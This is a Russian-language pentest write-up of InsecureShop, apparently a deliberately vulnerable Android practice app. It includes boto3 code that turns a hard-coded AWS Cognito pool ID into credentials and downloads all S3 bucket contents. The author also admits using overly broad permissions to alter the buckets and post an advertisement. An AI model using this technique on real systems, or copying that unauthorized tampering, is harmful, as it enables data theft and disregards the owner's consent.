Insecureshop

InsecureShop - mobile pentest

Код и билд приложения можно найти тут, а хинты на уязвимости тут.

Подготовка

Закидываем апк в MobSF и спустя 10 минут получаем следующие:

  1. захардкоженные креды "aws_Identity_pool_ID" : "us-east-1:7e9426f7-42af-4717-8689-00a9a4b65c1c"
  2. Application signed with a debug certificate
  3. Debugging was enabled on the app

Анализ можно найти тут

Скан nuclei:

[android-debug-enabled]  [file] [low]    app/resources/AndroidManifest.xml
[adb-backup-enabled]     [file] [low]    app/resources/AndroidManifest.xml
[aws-cognito-pool]       [file] [info]   app/resources/res/values/strings.xml [us-east-1:7e9426f7-42af-4717-8689-00a9a4b65c1c] [LN: 33]
[insecure-provider-path] [file] [medium] app/resources/res/xml/provider_paths.xml

AWS Cognito Misconfiguration

Попробуем с помощью кредов для aws cognito, которые вытащили с помощью mobsf, добраться до s3:

import boto3
client = boto3.client("cognito-identity", region_name='us-east-1')
IdentityId = client.get_id(IdentityPoolId="us-east-1:7e9426f7-42af-4717-8689-00a9a4b65c1c")['IdentityId']
creds = client.get_credentials_for_identity(IdentityId=IdentityId)['Credentials']
session = boto3.Session(
    aws_access_key_id=creds["AccessKeyId"],
    aws_secret_access_key=creds["SecretKey"],
    aws_session_token=creds["SessionToken"],
)
s3 = session.resource("s3")

Ура! Ошибок, связанных с отсутствием прав, не получаем, следовательно мы завладели S3. Получим список корзин:

list(s3.buckets.all())
# [s3.Bucket(name='84r4ppx76qhqj4bsgu8w'),
#  s3.Bucket(name='elasticbeanstalk-us-west-2-094222047775'),
#  s3.Bucket(name='testbucket4prac')]

Выкачаем из них все файлы:

for bucket in s3.buckets.all():
    for obj in bucket.objects.all():
        print(bucket.name + ": " + obj.key)
        bucket.download_file(obj.key, obj.key)

# 84r4ppx76qhqj4bsgu8w: Congratulations.txt
# testbucket4prac: cat.png
# testbucket4prac: notcat.png

В пнгшках лежат котики, а в Congratulations.txt содержится поздравление.

Мисконфиг в мисконфиге

Автор таска неправильно сконфигурировал привелегии пользователя, из-за чего я смог удалять/создавать/изменять корзины и их содержимое. Я разместил там рекламу канала. Надеюсь, что автор на это не обидится.

Hardcoded Credentials

В com.insecureshop.util.Util находим захардкоженные креды, с помощью которых можем войти в приложение.

Vulnerable library

Приложение использует библиотеку net.gotenv.uploadservice уязвимой версии 3.2.3, репорт можно найти тут


Last modified on 2022-03-23